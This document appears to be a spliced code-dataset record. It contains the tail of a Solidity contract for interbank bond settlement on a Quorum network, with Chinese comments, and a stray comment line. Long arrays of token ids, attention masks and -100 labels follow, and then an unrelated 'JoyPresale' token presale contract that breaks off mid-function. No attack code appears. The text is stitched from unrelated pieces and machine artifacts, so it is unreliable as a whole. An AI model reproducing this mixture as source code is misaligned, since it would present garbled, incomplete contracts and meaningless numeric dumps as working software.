function getCustomerSecuritiesAmount(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id) constant returns(int) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
return(securities.getCustomerTotalAmount(_bank_id, _customer_id));
}
function getCustomerSecuritiesPosition(bytes32 _securities_id, bytes32 _bank_id, bytes32 _customer_id) constant returns(int) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
return(securities.getCustomerPosition(_bank_id, _customer_id));
}
function getCustomerSecuritiesListLength(bytes32 _bank_id, bytes32 _customer_id) constant returns(uint) {
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
return(bank.getCustomerSecuritiesListLength(_customer_id));
}
function getCustomerSecuritiesList(bytes32 _bank_id, bytes32 _customer_id, uint index) constant returns(bytes32) {
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
return(bank.getCustomerSecuritiesList(_customer_id, index));
}
function getBankListLength(bytes32 _securities_id) constant returns(uint) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
return(securities.getBankListLength());
}
function getBankCustomerList(bytes32 _bank_id, uint index) constant returns(bytes32) {
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
return(bank.getCustomerList(index));
}
function getBankCustomerListLength(bytes32 _bank_id) constant returns(uint) {
Bank_Account bank = Bank_Account(bankRegistry[_bank_id]);
return(bank.getCustomerListLength());
}
function getSecuritiesOwnedByBank(bytes32 _securities_id, uint index) constant returns(bytes32) {
Securities securities = Securities(securitiesRegistry[_securities_id]);
return(securities.getBankList(index));
}
function getSecuritiesListLength() constant returns(uint) {
return(securities_cnt);
}
function getSecuritiesList(uint index) constant returns(bytes32) {
return(securities_list[index]);
}
//event EventForSecuritiesTransactionPending(bytes32 _txSerNo);
event EventForSecuritiesTransactionPending(bytes32 _txSerNo);
event EventForSecuritiesTransactionCancelled(bytes32 _txSerNo, int rc, string _reason);
//event EventForSecuritiesTransactionError(bytes32 _txSerNo, int rc);
//event EventForSecuritiesTransactionMatched(bytes32 _txSerNo1, bytes32 _txSerNo2);
event EventForSecuritiesTransactionFinished(bytes32 _txSerNo1, bytes32 _txSerNo2);
event EventForSecuritiesTransactionWaitingForPayment(bytes32 _txSerNo1, bytes32 _txSerNo2);
event EventForSecuritiesTransactionPaymentError(bytes32 _txSerNo1, bytes32 _txSerNo2, int rc);
// 可能為賣方清算行或是買方清算行呼叫,寫code時需要配合Quorum的private transaction的運作模式,privateFor[對方行,央行]
// 注意,每筆交易每個在privateFor的node都會執行,寫code時要有這個思維。
function submitInterBankTransaction(bytes32 _txSerNo, bytes32 _from_bank_id, bytes32 _from_customer_id,
bytes32 _to_bank_id, bytes32 _to_customer_id, int _securities_amount, bytes32 _securities_id,
int _payment, bytes32 _digest)
{
Transaction memory this_txn;
Bank_Account seller = Bank_Account(bankRegistry[_from_bank_id]);
Bank_Account buyer = Bank_Account(bankRegistry[_to_bank_id]);
if(seller.checkOwnedNode()) { // 賣方跟央行才能檢查,在買方節點無法檢查賣方的帳戶資料,這段code是必須的,否則在共識階段,買方節點上這交易會被cancel
// 若Dapp有檢查,則這段程式跑不到,加這段檢查以防萬一
// 若為賣方清算行打進來的交易,則圈存賣方債券戶(DLT) 賣方跟央行才做這段 因為賣方跟央行都看得到賣方的Bank_Account Contract
// 在共識階段,買方清算行節點會跳過這段,結果資料會跟賣方節點不同,但因為買方不需要也不能夠知道賣方的帳戶資料,因此這是必要的。
if(bytes1(uint8(uint(_txSerNo) / (2**((31 - 5) * 8)))) == 'S') {
if( getCustomerSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id) < _securities_amount) {
// 賣方(from)券數持有部位不足
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _to_bank_id, _to_customer_id,
_securities_amount,0, _securities_id, _payment, TxnState.Cancelled, now, _digest, msg.sender, "", 3 );
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
EventForSecuritiesTransactionCancelled(_txSerNo, 3, "");
return;
}
setCustomerOwnedSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id, _securities_amount, false);
}
}
// 須處理買方先打交易 但是賣方券不夠 造成交易變成pending 賣方要打交易將買方節點該交易的狀態設為cancelled
// matching transaction 交易比對
if( isTransactionWaitingForMatch[_digest]) {
if (msg.sender == transactions[txnDigest_SerNo1[_digest]].msg_sender) {
// 同一個msg.sender打相同交易進區塊鍊,設為Pending 因無法判斷是兩筆不同交易或是打錯
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _to_bank_id, _to_customer_id,
_securities_amount, 0, _securities_id, _payment, TxnState.Pending, now, _digest, msg.sender, "", 0);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
enShareQueue(_txSerNo);
EventForSecuritiesTransactionPending(_txSerNo);
return;
}else {
bytes32 _txSerNo1 = txnDigest_SerNo1[_digest];
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Waiting4Payment)); // 將前一筆狀態設為Waiting4Payment
isTransactionWaitingForMatch[_digest] = false;
delete isTransactionWaitingForMatch[_digest];
delete txnDigest_SerNo1[_digest];
// 注意:紀錄圈存額度
// 不管買方或賣方都要記錄圈存數量
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _to_bank_id, _to_customer_id,
_securities_amount, _securities_amount, _securities_id, _payment, TxnState.Waiting4Payment, now, _digest, msg.sender, "", 0);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
if(_payment == 0) { // FOP無款交易,不用到同資
// 更新DLT債券戶資訊 賣方跟央行才做這段
// 在共識階段,買方清算行節點會跳過這段,因此資料會跟賣方節點不同,但因為買方不需要也不能夠知道賣方的帳戶資料,因此這是必要的。
if(seller.checkOwnedNode()) {
setCustomerOwnedSecuritiesAmount(_securities_id, _from_bank_id, _from_customer_id, _securities_amount, false);
// 賣方已圈存,不須再增加持有部位
}
// 更新DLT債券戶資訊 買方跟央行才做這段
// 在共識階段,賣方清算行節點會跳過這段,因此資料會跟買方節點不同,但因為賣方不需要也不能夠知道買方的帳戶資料,因此這是必要的。
if(buyer.checkOwnedNode()) {
setCustomerOwnedSecuritiesAmount(_securities_id, _to_bank_id, _to_customer_id, _securities_amount, true);
// 增加買方持有部位
setCustomerOwnedSecuritiesPosition(_securities_id, _to_bank_id, _to_customer_id, _securities_amount, true);
}
setSecuritiesTransactionState(_txSerNo, uint(TxnState.Finished)); // 將Transaction設為Finished
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Finished)); // 將Transaction設為Finished
// 移出Queue
deShareQueue(_txSerNo);
deShareQueue(_txSerNo1);
EventForSecuritiesTransactionFinished(_txSerNo, _txSerNo1);
}else {
EventForSecuritiesTransactionWaitingForPayment(_txSerNo, _txSerNo1);
}
}
}else {
isTransactionWaitingForMatch[_digest] = true;
// 不管買方或賣方都要記錄圈存數量
txnDigest_SerNo1[_digest] = _txSerNo;
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _to_bank_id, _to_customer_id,
_securities_amount, _securities_amount, _securities_id, _payment, TxnState.Pending, now, _digest, msg.sender, "", 0);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
enShareQueue(_txSerNo);
EventForSecuritiesTransactionPending(_txSerNo);
}
}
// privateFor [央行] (交易只會在清算行本身及央行節點上面執行)
function submitIntraBankTransaction(bytes32 _txSerNo, bytes32 _from_bank_id, bytes32 _from_customer_id,
bytes32 _to_customer_id, int _securities_amount, bytes32 _securities_id,
int _payment, bytes32 _digest)
{
Transaction memory this_txn;
if(_from_customer_id == _to_customer_id) {
// Do nothing
// 賣方與買方為同一人
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _from_bank_id, _to_customer_id,
_securities_amount, 0, _securities_id, _payment, TxnState.Cancelled, now, _digest, msg.sender, "", 2);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
//enqueue(_txSerNo);
//queued = true;
EventForSecuritiesTransactionCancelled(_txSerNo, 2, "");
return;
}
// 賣方才檢查並圈存,
if(bytes1(uint8(uint(_txSerNo) / (2**((31 - 5) * 8)))) == 'S') {
if( getCustomerSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id) < _securities_amount) {
// 賣方(from)券數持有部位不足
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _from_bank_id, _to_customer_id,
_securities_amount, 0, _securities_id, _payment, TxnState.Cancelled, now, _digest, msg.sender, "", 3);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
//enqueue(_txSerNo);
//queued = true;
EventForSecuritiesTransactionCancelled(_txSerNo, 3, "");
return;
}
//自行圈存賣方債券戶(DLT)
setCustomerOwnedSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id, _securities_amount, false);
}
// matching transaction 交易比對
if( isTransactionWaitingForMatch[_digest]) {
//Transaction 是 atomic 不用擔心Double Spending的問題
bytes32 _txSerNo1 = txnDigest_SerNo1[_digest];
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Matched));
isTransactionWaitingForMatch[_digest] = false;
delete isTransactionWaitingForMatch[_digest];
delete txnDigest_SerNo1[_digest];
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _from_bank_id, _to_customer_id,
_securities_amount, _securities_amount, _securities_id, _payment, TxnState.Matched, now, _digest, msg.sender, "", 0);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
// 更新DLT債券戶資訊
setCustomerOwnedSecuritiesAmount(_securities_id, _from_bank_id, _from_customer_id, _securities_amount, false);
setCustomerOwnedSecuritiesAmount(_securities_id, _from_bank_id, _to_customer_id, _securities_amount, true);
// 賣方已圈存,不須再增加持有部位
//setCustomerOwnedSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id, _securities_amount, false);
setCustomerOwnedSecuritiesPosition(_securities_id, _from_bank_id, _to_customer_id, _securities_amount, true);
setSecuritiesTransactionState(_txSerNo, uint(TxnState.Finished)); // 將Transaction設為Finished
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Finished)); // 將Transaction設為Finished
dePrivateQueue(_txSerNo);
dePrivateQueue(_txSerNo1);
EventForSecuritiesTransactionFinished(_txSerNo, _txSerNo1);
}else {
isTransactionWaitingForMatch[_digest] = true;
txnDigest_SerNo1[_digest] = _txSerNo;
this_txn = Transaction(_txSerNo, _from_bank_id, _from_customer_id, _from_bank_id, _to_customer_id,
_securities_amount, _securities_amount, _securities_id, _payment, TxnState.Pending, now, _digest, msg.sender, "", 0);
transactionIdx.push(_txSerNo);
transactions[_txSerNo] = this_txn;
enPrivateQueue(_txSerNo);
EventForSecuritiesTransactionPending(_txSerNo);
}
}
// privateFor [央行] (交易只會在清算行本身及央行節點上面執行)
// reason 不會存在Trsnactions裡面 但是在傳進來的過程中(Payload) 已經記錄在區塊裡
function submitSetTransactionCancelled(bytes32 _rev_txSerNo, bytes32 _txSerNo, int _rc, string _reason) {
Transaction this_txn = transactions[_rev_txSerNo];
// 只有Pending與Waiting4Payment才處理
if( (this_txn.state == TxnState.Pending) || (this_txn.state == TxnState.Waiting4Payment) ) {
// End-of-Day 時因為交易沒有發生,要解圈
//if(this_txn.state == TxnState.Waiting4Payment) {
int _blocked_amount = this_txn.blocked_amount;
bytes32 _securities_id = this_txn.securities_id;
bytes32 _from_bank_id = this_txn.from_bank_id;
bytes32 _from_customer_id = this_txn.from_customer_id;
//買賣方跟央行都做這段,但買方做沒用,只是寫入無意義的別家清算行資料
//if(msg.sender == bankAdmins[_from_bank_id] || msg.sender == owner) {
Bank_Account seller = Bank_Account(bankRegistry[_from_bank_id]);
if(_rc == 5) { // 只有賣方發的交易才解圈 買方發的交易也會進來 因此用rc 分辨
if(seller.checkOwnedNode() && _blocked_amount > 0) {
// 解除圈存
setCustomerOwnedSecuritiesPosition(_securities_id, _from_bank_id, _from_customer_id, _blocked_amount, true);
}
}
//}
this_txn.rev_txnSerNo = _txSerNo;
this_txn.state = TxnState.Cancelled;
this_txn.return_code = _rc;
bytes32 _digest = getTransactionDigest(_rev_txSerNo);
isTransactionWaitingForMatch[_digest] = false;
delete isTransactionWaitingForMatch[_digest];
//setSecuritiesTransactionState(_rev_txSerNo, uint(TxnState.Cancelled));
Transaction _txn = transactions[_txSerNo];
_txn.rev_txnSerNo = _rev_txSerNo;
EventForSecuritiesTransactionCancelled(_rev_txSerNo, _rc, _reason);
}
}
// 同資回應後央行節點呼叫,只有央行可發動
function settleInterBankTransaction(bytes32 _txSerNo1, bytes32 _txSerNo2, int _cb_return_code, bool _isNettingSuccess) onlyOwner returns(bool) {
Transaction txn1 = transactions[_txSerNo1];
Transaction txn2 = transactions[_txSerNo2];
Bank_Account seller = Bank_Account(bankRegistry[txn1.from_bank_id]);
Bank_Account buyer = Bank_Account(bankRegistry[txn1.to_bank_id]);
if(_isNettingSuccess == true) {
if(seller.checkOwnedNode()) {
// 更新DLT債券戶資訊
setCustomerOwnedSecuritiesAmount(txn1.securities_id, txn1.from_bank_id, txn1.from_customer_id, txn1.securities_amount, false);
}
if(buyer.checkOwnedNode()) {
setCustomerOwnedSecuritiesAmount(txn1.securities_id, txn1.to_bank_id, txn1.to_customer_id, txn1.securities_amount, true);
// 增加買方持有部位
setCustomerOwnedSecuritiesPosition(txn1.securities_id, txn1.to_bank_id, txn1.to_customer_id, txn1.securities_amount, true);
}
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Finished)); // 將Transaction設為Finished
setSecuritiesTransactionState(_txSerNo2, uint(TxnState.Finished)); // 將Transaction設為Finished
deShareQueue(_txSerNo1);
deShareQueue(_txSerNo2);
EventForSecuritiesTransactionFinished(_txSerNo1, _txSerNo2);
}else {
if(_cb_return_code == 500) {
if(seller.checkOwnedNode()) {
// 同資系統錯誤,解除圈存賣方債券戶(DLT)
setCustomerOwnedSecuritiesPosition(txn1.securities_id, txn1.from_bank_id, txn1.from_customer_id, txn1.securities_amount, true);
}
setSecuritiesTransactionState(_txSerNo1, uint(TxnState.Cancelled));
setSecuritiesTransactionState(_txSerNo2, uint(TxnState.Cancelled));
}
txn1.return_code = _cb_return_code; // 設定同資錯誤碼
txn2.return_code = _cb_return_code; // 設定同資錯誤碼
EventForSecuritiesTransactionPaymentError(_txSerNo1, _txSerNo2, _cb_return_code);
}
return _isNettingSuccess;
}
function setServiceState(uint state) onlyOwner {
ServiceState = state;
EventForSetServiceState(state);
}
function getServiceState() returns(uint) {
return ServiceState;
}
function setSecuritiesTransactionState(bytes32 _txSerNo, uint _txn_state) internal {
Transaction this_txn = transactions[_txSerNo];
// Initiate, Confirmed, ReadyToSettle, Settled, Finished, Canceled
if( _txn_state == uint(TxnState.Pending)) {
this_txn.state = TxnState.Pending;
}else if( _txn_state == uint(TxnState.Waiting4Payment)) {
this_txn.state = TxnState.Waiting4Payment;
}else if( _txn_state == uint(TxnState.Matched)) {
this_txn.state = TxnState.Matched;
}else if( _txn_state == uint(TxnState.Finished)) {
this_txn.state = TxnState.Finished;
}else if( _txn_state == uint(TxnState.Cancelled)) {
this_txn.state = TxnState.Cancelled;
}
}
/*
function setSecuritiesTransactionBlockedAmount(bytes32 _txSerNo, int _blocked_amount) internal {
Transaction this_txn = transactions[_txSerNo];
this_txn.blocked_amount = _blocked_amount;
}
*/
function enShareQueue(bytes32 _txSerNo) internal {
shareQueue.push(_txSerNo);
}
function deShareQueue(bytes32 _txSerNo) internal {
for(uint i=0; i< shareQueue.length; i++) {
if(_txSerNo == shareQueue[i]) {
delete shareQueue[i];
break;
}
}
}
function enPrivateQueue(bytes32 _txSerNo) internal {
privateQueue.push(_txSerNo);
}
function dePrivateQueue(bytes32 _txSerNo) internal {
for(uint i=0; i< privateQueue.length; i++) {
if(_txSerNo == privateQueue[i]) {
delete privateQueue[i];
break;
}
}
}
function getShareQueueDepth() constant returns(uint) {
return shareQueue.length;
}
function getPrivateQueueDepth() constant returns(uint) {
return privateQueue.length;
}
function getShareQueueEntry(uint index) constant returns(bytes32) {
return shareQueue[index];
}
function getPrivateQueueEntry(uint index) constant returns(bytes32) {
return privateQueue[index];
}
function clearQueue() onlyOwner {
// 清除ShareQueue的所有交易,由央行發動清Queue,因為日終交易發動時機是央行決定的
for (uint i=0; i< shareQueue.length; i++) {
delete shareQueue[i];
}
shareQueue.length = 0;
// 清除PrivateQueue的所有交易,由央行發動清Queue,因為日終交易發動時機是央行決定的
for (uint j=0; j< privateQueue.length; j++) {
delete privateQueue[j];
}
privateQueue.length = 0;
}
function getTransactionListLength() constant returns(uint) {
return transactionIdx.length;
}
function getTransactionList(uint index) constant returns(bytes32) {
return transactionIdx[index];
}
function getTransactionInfo(bytes32 _txSerNo) constant returns(bytes32, bytes32 , bytes32 , bytes32 , int , bytes32, int, uint) {
Transaction this_txn = transactions[_txSerNo];
return(this_txn.from_bank_id, this_txn.from_customer_id,
this_txn.to_bank_id, this_txn.to_customer_id,
this_txn.securities_amount, this_txn.securities_id, this_txn.payment, this_txn.timestamp
);
}
function getTransactionReverseTxnSeq(bytes32 _txSerNo) constant returns(bytes32) {
Transaction this_txn = transactions[_txSerNo];
return(this_txn.rev_txnSerNo);
}
function getTransactionDigest(bytes32 _txSerNo) constant returns(bytes32 _digest) {
Transaction this_txn = transactions[_txSerNo];
return(this_txn.digest);
}
function getTransactionState(bytes32 _txSerNo) constant returns(uint, int) {
Transaction this_txn = transactions[_txSerNo];
return(uint(this_txn.state), this_txn.return_code);
}
}
| 1: 開機 2: 營業開始 3: 停止接收預告
| uint ServiceState; | 15,859,449 | [
1,
21,
30,
225,
170,
249,
238,
167,
107,
258,
576,
30,
225,
168,
234,
258,
167,
103,
260,
170,
249,
238,
166,
105,
238,
890,
30,
225,
166,
228,
255,
167,
260,
100,
167,
241,
103,
167,
247,
119,
170,
259,
243,
166,
244,
237,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2254,
1956,
1119,
31,
540,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "../utils/AuthorizableU.sol";
import "../token/XJoyToken.sol";
contract JoyPresale is ContextUpgradeable, AuthorizableU {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
////////////////////////////////////////////////////////////////////////
// State variables
////////////////////////////////////////////////////////////////////////
// Info of each coin like USDT, USDC
struct CoinInfo {
address addr;
uint256 rate;
}
// Info of each Vesting
struct VestingInfo {
uint8 initClaimablePercent; // Init Claimable Percent
uint256 lockingDuration; // Locking Duration
uint256 vestingDuration; // Vesting Duration
}
// Info of each Purchaser
struct UserInfo {
uint8 vestingIndex; // Index of VestingInfo
uint256 depositedAmount; // How many Coins amount the user has deposited.
uint256 purchasedAmount; // How many JOY tokens the user has purchased.
uint256 withdrawnAmount; // Withdrawn amount
uint256 firstDepositedTime; // Last Deposited time
uint256 lastWithdrawnTime; // Last Withdrawn time
}
// The JOY Token
IERC20Upgradeable public govToken;
// The xJOY Token
IERC20Upgradeable public xGovToken;
// treasury addresses
address[] public treasuryAddrs;
uint16 public treasuryIndex;
// Coin Info list
CoinInfo[] public coinList;
uint8 public COIN_DECIMALS;
// Vesting Info
VestingInfo[] public vestingList; // 0: Seed, 1: Presale A
uint8 public VESTING_INDEX;
// Sale flag and time.
bool public SALE_FLAG;
uint256 public SALE_START;
uint256 public SALE_DURATION;
// GovToken public flag
bool public GOVTOKEN_PUBLIC_FLAG;
// User address => UserInfo
mapping(address => UserInfo) public userList;
address[] public userAddrs;
// total tokens amounts (all 18 decimals)
uint256 public totalSaleAmount;
uint256 public totalSoldAmount;
uint256 public totalCoinAmount;
////////////////////////////////////////////////////////////////////////
// Events & Modifiers
////////////////////////////////////////////////////////////////////////
// Events.
event TokensPurchased(address indexed purchaser, uint256 coinAmount, uint256 tokenAmount);
event TokensWithdrawed(address indexed purchaser, uint256 tokenAmount);
// Modifiers.
modifier whenSale() {
require(checkSalePeriod(), "This is not sale period.");
_;
}
modifier whenVesting(address userAddr) {
require(checkVestingPeriod(userAddr), "This is not vesting period.");
_;
}
////////////////////////////////////////////////////////////////////////
// Initialization functions
////////////////////////////////////////////////////////////////////////
function initialize(
IERC20Upgradeable _govToken,
IERC20Upgradeable _xGovToken,
uint256 _totalSaleAmount,
CoinInfo[] memory _coinList,
VestingInfo[] memory _vestingList
) public virtual initializer
{
__Context_init();
__Authorizable_init();
govToken = _govToken;
xGovToken = _xGovToken;
treasuryIndex = 0;
COIN_DECIMALS = 18;
setCoinList(_coinList);
setVestingList(_vestingList);
VESTING_INDEX = 0;
startSale(false);
updateSaleDuration(60 days);
setGovTokenPublicFlag(false);
updateTotalSaleAmount(_totalSaleAmount);
}
////////////////////////////////////////////////////////////////////////
// External functions
////////////////////////////////////////////////////////////////////////
// Update token
function updateTokens(IERC20Upgradeable _govToken, IERC20Upgradeable _xGovToken) public onlyAuthorized {
govToken = _govToken;
xGovToken = _xGovToken;
}
// Update the treasury address
function updateTreasuryAddrs(address[] memory _treasuryAddrs) public onlyOwner {
delete treasuryAddrs;
for (uint i=0; i<_treasuryAddrs.length; i++) {
treasuryAddrs.push(_treasuryAddrs[i]);
}
treasuryIndex = 0;
}
function updateTreasuryIndex(uint16 _treasuryIndex) public onlyAuthorized {
treasuryIndex = _treasuryIndex;
if (treasuryAddrs.length > 0 && treasuryIndex >= treasuryAddrs.length) {
treasuryIndex = 0;
}
}
// Set coin list
function setCoinList(CoinInfo[] memory _coinList) public onlyAuthorized {
delete coinList;
for (uint i=0; i<_coinList.length; i++) {
coinList.push(_coinList[i]);
}
}
// Update coin info
function updateCoinInfo(uint8 index, address addr, uint256 rate) public onlyAuthorized {
coinList[index] = CoinInfo(addr, rate);
}
// Set vesting list
function setVestingList(VestingInfo[] memory _vestingList) public onlyAuthorized {
delete vestingList;
for (uint i=0; i<_vestingList.length; i++) {
vestingList.push(_vestingList[i]);
}
}
function setVestingIndex(uint8 index) public onlyAuthorized {
VESTING_INDEX = index;
}
// Update vesting info
function updateVestingInfo(uint8 index, uint8 _initClaimablePercent, uint256 _lockingDuration, uint256 _vestingDuration) public onlyAuthorized {
if (index == 255) {
vestingList.push(VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration));
} else {
vestingList[index] = VestingInfo(_initClaimablePercent, _lockingDuration, _vestingDuration);
}
}
// Start stop sale
function startSale(bool bStart) public onlyAuthorized {
SALE_FLAG = bStart;
if (bStart) {
SALE_START = block.timestamp;
}
}
// Set GovToken public flag
function setGovTokenPublicFlag(bool bFlag) public onlyAuthorized {
GOVTOKEN_PUBLIC_FLAG = bFlag;
}
// Update sale duration
function updateSaleDuration(uint256 saleDuration) public onlyAuthorized {
SALE_DURATION = saleDuration;
}
// check sale period
function checkSalePeriod() public view returns (bool) {
return SALE_FLAG && block.timestamp >= SALE_START && block.timestamp <= SALE_START.add(SALE_DURATION);
}
// check locking period
function checkLockingPeriod(address userAddr) public view returns (bool) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
// return block.timestamp >= SALE_START && block.timestamp <= SALE_START.add(vestingInfo.lockingDuration);
return block.timestamp >= userInfo.firstDepositedTime && block.timestamp <= userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
}
// check vesting period
function checkVestingPeriod(address userAddr) public view returns (bool) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = getUserVestingInfo(userAddr);
// uint256 VESTING_START = SALE_START.add(vestingInfo.lockingDuration);
// return block.timestamp >= VESTING_START;
uint256 VESTING_START = userInfo.firstDepositedTime.add(vestingInfo.lockingDuration);
return GOVTOKEN_PUBLIC_FLAG || block.timestamp >= VESTING_START;
}
// Update total sale amount
function updateTotalSaleAmount(uint256 amount) public onlyAuthorized {
totalSaleAmount = amount;
}
// Get user addrs
function getUserAddrs() public view returns (address[] memory) {
address[] memory returnData = new address[](userAddrs.length);
for (uint i=0; i<userAddrs.length; i++) {
returnData[i] = userAddrs[i];
}
return returnData;
}
// Get user's vesting info
function getUserVestingInfo(address userAddr) public view returns (VestingInfo memory) {
UserInfo memory userInfo = userList[userAddr];
VestingInfo memory vestingInfo = vestingList[userInfo.vestingIndex];
return vestingInfo;
}
// Set User Info
function setUserInfo(address _addr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, uint256 _withdrawnAmount) public onlyAuthorized {
UserInfo storage userInfo = userList[_addr];
if (userInfo.depositedAmount == 0) {
userAddrs.push(_addr);
userInfo.vestingIndex = _vestingIndex;
userInfo.firstDepositedTime = block.timestamp;
userInfo.depositedAmount = 0;
userInfo.purchasedAmount = 0;
userInfo.withdrawnAmount = 0;
} else {
totalCoinAmount = totalCoinAmount.sub(Math.min(totalCoinAmount, userInfo.depositedAmount));
totalSoldAmount = totalSoldAmount.sub(Math.min(totalSoldAmount, userInfo.purchasedAmount));
}
totalCoinAmount = totalCoinAmount.add(_depositedAmount);
totalSoldAmount = totalSoldAmount.add(_purchasedAmount);
userInfo.depositedAmount = userInfo.depositedAmount.add(_depositedAmount);
userInfo.purchasedAmount = userInfo.purchasedAmount.add(_purchasedAmount);
userInfo.withdrawnAmount = userInfo.withdrawnAmount.add(_withdrawnAmount);
XJoyToken _xJoyToken = XJoyToken(address(xGovToken));
_xJoyToken.addPurchaser(_addr);
}
// Seed User List
function seedUserList(address[] memory _userAddrs, UserInfo[] memory _userList, bool _transferToken) public onlyOwner {
for (uint i=0; i<_userAddrs.length; i++) {
setUserInfo(_userAddrs[i], _userList[i].vestingIndex, _userList[i].depositedAmount, _userList[i].purchasedAmount, _userList[i].withdrawnAmount);
if (_transferToken) {
xGovToken.safeTransfer(_userAddrs[i], _userList[i].purchasedAmount);
}
}
}
function seedUser(address _userAddr, uint8 _vestingIndex, uint256 _depositedAmount, uint256 _purchasedAmount, bool _transferToken) public onlyOwner {
setUserInfo(_userAddr, _vestingIndex, _depositedAmount, _purchasedAmount, 0);
if (_transferToken) {
